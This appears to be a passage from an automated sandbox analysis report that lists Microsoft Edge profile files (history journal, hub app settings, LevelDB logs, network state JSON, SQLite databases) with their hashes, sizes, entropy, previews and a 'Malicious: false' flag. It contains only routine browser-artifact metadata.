SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21917635620654863
Encrypted:	false
SSDEEP:	3:I/Z/ntFlljq7A/mhWJFuQ3yy7IOWUf7c/94/dweytllrE9SFcTp4AGbNCV9RUIsc:IC75fO1R/d0Xi99pEYJ
MD5:	E3DBD263526F84E85208E76B8F99B48C
SHA1:	8DC86A3F9C99C31A4648A30992A73CA7B2A03FAF
SHA-256:	4AA84B4CD414BC235A3033DE3522293A7D0F16BFB34781F988F636C3C77E90A3
SHA-512:	5D90C083ADF125159712D1297ED8A621016FEB0CB4543755ED4D32559BF41EE319C237B2EEC6F21F3C150B945DFB96488C840B3B0691501803BB00BA39C9E426
Malicious:	false
Preview:	............:^.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.230722408149872
Encrypted:	false
SSDEEP:	12:U3vVaYeb8rcHEZrELFUt8ZQC/+ZQu5OaYeb8rcHEZrEZSJ:UfVaYeb8nZrExg8ZQTOaYeb8nZrEZe
MD5:	D3E09F0FDF6682AC4876C10C91FD210D
SHA1:	E8FF08E19932EF7A9730BBC6A387E9B3DC3A6778
SHA-256:	C4A18626958A28F4761A568A4EA2A0066651458001ACF6532D294AC2C528C55D
SHA-512:	4793BAC129366A629A4CEC6FEA8670E28D088EC8FE4572B73420C13928A7727697CF96C2009007DA0A79598690BD5B1AB3D4034DFDF90086D66C614B87652F87
Malicious:	false
Preview:	2024/11/23-03:16:46.103 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-03:16:46.104 1d50 Recovering log #3.2024/11/23-03:16:46.104 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.230722408149872
Encrypted:	false
SSDEEP:	12:U3vVaYeb8rcHEZrELFUt8ZQC/+ZQu5OaYeb8rcHEZrEZSJ:UfVaYeb8nZrExg8ZQTOaYeb8nZrEZe
MD5:	D3E09F0FDF6682AC4876C10C91FD210D
SHA1:	E8FF08E19932EF7A9730BBC6A387E9B3DC3A6778
SHA-256:	C4A18626958A28F4761A568A4EA2A0066651458001ACF6532D294AC2C528C55D
SHA-512:	4793BAC129366A629A4CEC6FEA8670E28D088EC8FE4572B73420C13928A7727697CF96C2009007DA0A79598690BD5B1AB3D4034DFDF90086D66C614B87652F87
Malicious:	false
Preview:	2024/11/23-03:16:46.103 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-03:16:46.104 1d50 Recovering log #3.2024/11/23-03:16:46.104 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.662229296434218
Encrypted:	false
SSDEEP:	24:FJZW9mEUlHalp5CFw1wINXZKW2sFV03y1x4aMyFShWmmkTN5zgFHHmi28/V:fZ7Elp6GXNXZp2iV03Sx4ZyFaxn+HH33
MD5:	5F0362A3834C9AF6796374214542625C
SHA1:	9633FADCB66C697F28D790200B375F822F30FD23
SHA-256:	17AC2F3B745B5D7FBDDCEA90D9E28DFD73E179B3E68D4663F9862BE97786D191
SHA-512:	26599FC887FCAAC480C6C347E0863A8C5B17E76E9E91B8260406C8C1CB7A891FEBC1B4E29B83B3BEC5C8BBFF921DAF7CADC153D56685A2FFF78C9052F87B387C
Malicious:	false
Preview:	.P.Mz................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":792}.!_https://ntp.msn.com..LastKnownPV..1732349818969.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732349819958.._https://ntp.msn.com..MUID!.1124054842946B4F2DE61008433C6A40.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732349819063,"schedule":[11,-1,-1,-1,4,33,-1],"scheduleFixed":[11,-1,-1,-1,4,33,-1],"simpleSchedule":[35,43,39,46,29,34,47]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732349818581.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.146506977988855
Encrypted:	false
SSDEEP:	6:HGLCPVq2PN723oH+Tcwt8a2jMGIFUt8YGLCWxgZmw+YGLC2IkwON723oH+Tcwt8N:UUVvVaYeb8EFUt8Zrxg/+ZNI5OaYeb8N
MD5:	6C0F5502D3CEAE08B578BA83C596A76D
SHA1:	BC9DDD5E3B84758E921C5ACCB287C6C311F4CCC2
SHA-256:	145EA7B3E4F9F7422BF0FA885D24865F4698278CB75A76CB4DFDF72EB11E1322
SHA-512:	4178767E57723207B1889E5AA8EAC8707C7A20997AD3002FCF1C316D5A0E85BAAFCFDDBD1B6CA24C6A00F6FCCD32ACDAA96D5A177FDE2E8076B17F8E441D4C0E
Malicious:	false
Preview:	2024/11/23-03:16:41.568 1200 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-03:16:41.569 1200 Recovering log #3.2024/11/23-03:16:41.572 1200 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.146506977988855
Encrypted:	false
SSDEEP:	6:HGLCPVq2PN723oH+Tcwt8a2jMGIFUt8YGLCWxgZmw+YGLC2IkwON723oH+Tcwt8N:UUVvVaYeb8EFUt8Zrxg/+ZNI5OaYeb8N
MD5:	6C0F5502D3CEAE08B578BA83C596A76D
SHA1:	BC9DDD5E3B84758E921C5ACCB287C6C311F4CCC2
SHA-256:	145EA7B3E4F9F7422BF0FA885D24865F4698278CB75A76CB4DFDF72EB11E1322
SHA-512:	4178767E57723207B1889E5AA8EAC8707C7A20997AD3002FCF1C316D5A0E85BAAFCFDDBD1B6CA24C6A00F6FCCD32ACDAA96D5A177FDE2E8076B17F8E441D4C0E
Malicious:	false
Preview:	2024/11/23-03:16:41.568 1200 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-03:16:41.569 1200 Recovering log #3.2024/11/23-03:16:41.572 1200 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\064fb166-0b2b-4929-87d9-28ad8c9be488.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\56ba6c97-3a3f-4257-8093-7d75c50a2602.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\88e2990b-7b33-4677-8387-aaa3ecc7cbe5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1698
Entropy (8bit):	5.29503904550142
Encrypted:	false
SSDEEP:	48:YcCpfgCzsdtsEfc7kBRseCIs4CgHTYhbm:F2fmX2kB51T0hK
MD5:	53D211773475E2F56AD2210142899A40
SHA1:	B841FBEE1992719F70AAF8349595284C7AA0022A
SHA-256:	B3908B96430DF3D5EAD749E534BC4173DB7CCC647D0FA011F1A2EA771C0BE61A
SHA-512:	F99B79EE89616CEC7572DFFBC2204AB0A8F6E22F99906F86F1A13102DE978B7592FAE36157A5DD835B88966C7BA63040E3F6A6D32E4C16C5F5AE3EF34214BEAF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379415405857047","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379415410069135","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.767672462130513
Encrypted:	false
SSDEEP:	192:tTrVlEfjpfAw7/TC7t5pg8U+HIXBXcf0L/ZJVb:VrTSjpf5zTC7t59U+ABXI0LhJVb
MD5:	AED244498B5751DC182613896CFA5A9A
SHA1:	270EF2AD6E5E6B8B8ECFACFCFE67958B13C7ACA8
SHA-256:	704D1F53DF5DD230FB4CC906F8CAED2724B1E8A37E4FEBED44113ED3A57B46B0
SHA-512:	3390E79E3642D2F0F3B21023F6E8F23F1341A3F2ACC883C9856046135642F59165F98D23AF9CA6030CF90112FC86A6090FCF22FBD3856A77A38D47703932BE5A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d7ce.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.538127121257173
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6Rzf8yKRSPIUlLw0b+D1a:+IEumQv8m1ccnvS6hf8qQUC7E
MD5:	A0FA0CCDB424DFE5F737F67614BA0678
SHA1:	390A0F69237FB66AFFC6DFACC09BFBC1D0D625C0
SHA-256:	B077AD9AB99B1669A34149AE0F40C4C80A839C3CDDDF0EA55F912557C3DDBE6E
SHA-512:	66504FF25A6D3FE9782336C3767275E67619564DE22E717EF008979D86A86FF18C4692BA1B1AC531F60BF2F4A36000934FF5A0095311C80D01BCA10202DCA29E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c823.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3dd70.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c5f7cecb-7edd-4153-b9f2-b66558c19af5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d06fa5fa-724b-4a27-b5c2-d2564335222f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d2385630-09f9-466c-badf-76c06f2b53fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
